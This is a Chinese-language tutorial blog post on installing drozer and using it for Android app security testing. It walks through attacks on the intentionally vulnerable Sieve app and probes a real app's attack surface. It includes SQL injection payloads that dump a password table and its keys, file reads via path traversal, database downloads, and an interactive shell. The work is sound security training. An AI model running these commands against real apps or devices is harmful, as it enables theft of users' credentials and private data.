Drozer工具的安装和使用
1.Drozer工具简介
drozer是一款针对Android系统的安全测试框架。drozer可以帮助Android app和设备变得更安全,其提供了很多Android平台下的渗透测试exploit供你使用和分享。对于远程的exploit,它可以生成shellcode帮助你进行远程设备管理。
2.工具的安装
2.1安装前提
确保在操作系统里面安装了:
•JRE或者JDK
•Android SDK
2.2windows安装Drozer
可以在官网https://www.mwrinfosecurity.com/products/drozer/community-edition/drozer-installer-2.3.3.zip的安装包直接安装;也可以下载.egg的python包安装,此时需要自己手动下载安装protobuf和twisted包。我是直接下载的zip包安装的。
2.3手机或者模拟器安装代理agent.apk
下载agent.apk,使用命令安装:
adb install agent.apk,我是在模拟器中直接导入进行安装
Drozer的使用
3.1建立Drozer Console和Dorzer Agent的连接,开启一个会话
Step1建立端口转发,Drozer默认使用31415端口。 如下命令:将windows的TCP端口31415的所有数据转发到模拟器上31415端口:
adb forward tcp:31415 tcp:31415
如果报错,如下:
* daemon not running. starting it now *
ADB server didn’t ACK
* failed to start daemon *
处理如下,adb端口为5037,主要是找出哪个占用了这个端口,然后将其kill掉:
C:Usersadmin>netstat -ano | findstr “5037”
TCP 127.0.0.1:5037 0.0.0.0:0 LISTENING 1736
TCP 127.0.0.1:5037 127.0.0.1:12240 ESTABLISHED 1736
TCP 127.0.0.1:12240 127.0.0.1:5037 ESTABLISHED 6428
C:Usersadmin>netstat -anob | findstr “5037”
TCP 127.0.0.1:5037 0.0.0.0:0 LISTENING 1736
TCP 127.0.0.1:5037 127.0.0.1:12240 ESTABLISHED 1736
TCP 127.0.0.1:12240 127.0.0.1:5037 ESTABLISHED 6428
C:Usersadmin>tasklist | findstr “5037”
C:Usersadmin>tasklist | findstr “1736”
adb.exe 1736 Console 1 6,040 K
C:Usersadmin>taskkill /f /t /im adb.exe
成功: 已终止 PID 1736 (属于 PID 7908 子进程)的进程。
成功: 已终止 PID 6428 (属于 PID 4348 子进程)的进程。
C:Usersadmin>tasklist | findstr “5037”
Step2在Android设备上开启Agent server。 选择”Enbeded Server“那一项,然后选择”Enadble“开启Agent server。模拟器中开启enabled并显示连接成功:
Step3使用drozer Console连接Agent server。 在windows的终端中输入命令
drozer console connect
现在可以使用drozer来评估APP安全性了
> list //列出目前可用的模块,也可以使用ls
> help app.activity.forintent //查看指定模块的帮助信息
> run app.package.list //列出android设备中安装的app
> run app.package.info -a com.android.browser //查看指定app的基本信息
> run app.activity.info -a com.android.browser //列出app中的activity组件
> run app.activity.start –action android.intent.action.VIEW –data-uri http://www.google.com //开启一个activity,例如运行浏览器打开谷歌页面
> run scanner.provider.finduris -a com.sina.weibo //查找可以读取的Content Provider
> run app.provider.query content://settings/secure –selection “name=’adb_enabled'” //读取指定Content Provider内容
> run scanner.misc.writablefiles –privileged /data/data/com.sina.weibo //列出指定文件路径里全局可写/可读的文件
> run shell.start //shell操作
> run tools.setup.busybox //安装busybox
> list auxiliary //通过web的方式查看content provider组件的相关内容
> help auxiliary.webcontentresolver //webcontentresolver帮助
> run auxiliary.webcontentresolver //执行在浏览器中以http://localhost:8080即可访问
以sieve示例
> run app.package.list -f sieve //查找sieve应用程序
> run app.package.info -a com.mwr.example.sieve //显示app.package.info命令包的基本信息
> run app.package.attacksurface com.mwr.example.sieve //确定攻击面
> run app.activity.info -a com.mwr.example.sieve //获取activity信息
> run app.activity.start –component com.mwr.example.sieve com.mwr.example.sieve.PWList //启动pwlist
> run app.provider.info -a com.mwr.example.sieve //提供商信息
> run scanner.provider.finduris -a com.mwr.example.sieve //扫描所有能访问地址
>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/–vertical //查看DBContentProvider/Passwords这条可执行地址
> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –projection “‘” //检测注入
> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts //查看读权限数据
> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /home/user/database.db //下载数据
> run scanner.provider.injection -a com.mwr.example.sieve //扫描注入地址
> run scanner.provider.traversal -a com.mwr.example.sieve
> run app.service.info -a com.mwr.example.sieve //查看服务
获取获取Android设备上的所有的安装的App的包名
命令是:
run app.package.list
这条命令会把所有的App都列出来,如果想具体查找某个App可加上-f [App关键字]的参数,如查找touna在Android设备中的包名:
run app.package.list -f touna
获取touna的一些基本信息:
run app.package.info -a cn.touna.touna
可以看到touna的版本信息,数据存储的目录,用户ID,组ID,是否有共享库,还有权限信息等。
这个测试教程主要关注的是Android 固有的IPC通信机制的脆弱性,这些特点导致了App泄漏敏感信息给同一台设备上的其它App。 查找可以进行Attack Surface的组件的命令:
run app.package.attacksurface cn.touna.touna
run app.provider.info -a cn.touna.touna
结果显示了潜在可以利用的组件个数: “exported”表示组件可以被其他App使用。
如进一步获取ativity组建的attack surface信息的命令是
run app.activity.info -a cn.touna.touna
启动Activities
PWList和FileSelectActivity是exported并且不需要任何权限,我们可以用drozer启动他们,比如感觉PWList这个含金量应该大一点,所以就启动它了,命令是:
run app.activity.start –component com.mwr.example.sieve com.mwr.example.sieve.PWList
启动后的效果:
app.activity.start的使用方法:
help app.activity.start usage: run app.activity.start [-h] [–action ACTION] [–category CATEGORY [CATEGORY …]] [–component PACKAGE COMPONENT] [–data-uri DATA_URI] [–extra TYPE KEY VALUE] [–flags FLAGS [FLAGS …]] [–mimetype MIMETYPE]
Starts an Activity using the formulated intent.
从Content Provider中获取信息
进一步获取content provider的attact surface的信息的命令是:
run app.provider.info -a com.mwr.example.sieve
先检查exported的content provider的具体信息,包括名字,权限,访问路径等。
查找可以访问content provider的URI(数据泄漏)
我们即可猜测DBContentProvider会有某种格式的数据库,但是我们不知道其中的数据是如何组织的。Content URI必须是 “content:///” 的形式,因此我们可以构造部分的content URIs来访问DBcontent Provider。 需要READ_KEYS和WRITE_KEYS权限才能读和写的“/Keys”的路径。
drozer的scanner模块提供了一些方法去猜测可能存在的content URIs:
run scanner.provider.finduris -a com.mwr.example.sieve
如果检测出了可以访问content的URI,接下来我们可以用drozer的其他模块和URI从content中获取,甚至更改信息。 如:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –vertical
如上图我们获取了用户名,邮箱帐号,和Base64编码的密码字符串。
进行SQL注入
Android操作系统建议使用SQLite数据库存储用户数据。SQLite数据库使用SQL语句,所以可以进行SQL注入。 使用projection参数和seleciton参数可以传递一些简单的SQL注入语句到Content provider。如:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –projection “‘”
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –selection “‘”
上面两条命令执行后Android设备返回了非常详细的错误信息。
使用Sql注入列出数据库中的所有数据表:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –projection “* FROM SQLITE_MASTER WHERE type=’table’;–“
使用SQL注入列出数据表的内容:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –projection “* FROM Key;–“
从File System-backed Content Providers获取信息
File System-backed Content Provider提供了访问底层文件系统的方法,Android沙盒会阻止App共享文件允许,而File System-backed Content Provider允许App共享文件。 对于sieve来说,我们可以推测出的FileBackupProvider就是一个file system-backed content provider。 我们可以使用drozer的app.provider.read模块查看某个文件:
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
可以使用app.provider.download下载文件
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /home/user/database.db
检查Content Provider的脆弱性
检查是否有SQL注入:
run scanner.provider.injection -a com.mwr.example.sieve
检查是否存在遍历文件的漏洞
run scanner.provider.traversal -a com.mwr.example.sieve
总结体会:我觉得在刚开始获取了软件包的基本信息后,就先用模块scanner里面的工具扫一扫,找到一些漏洞或者利用点后再进行下一步。
和Services交互
获取是exported状态的services的命令:
run app.service.info -a com.mwr.example.sieve
关于Services的模块:
如向某个服务发送信息:
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.CryptoService –msg 1 5 3
其他常用模块
•shell.start 在Android设备上开启一个交互式Linux Shell
•tools.file.upload / tools.file.download
•tools.setup.busybox / tools.setup.minimalsu 安装busybox或者minimalsu到Android设备上
参考链接:
http://www.freebuf.com/tools/26503.html
http://drops.wooyun.org/tips/2871
http://www.kechuandai.net/ubuntu14-04-drozer%e5%b7%a5%e5%85%b7%e7%9a%84%e5%ae%89%e8%a3%85%e5%92%8c%e4%bd%bf%e7%94%a8/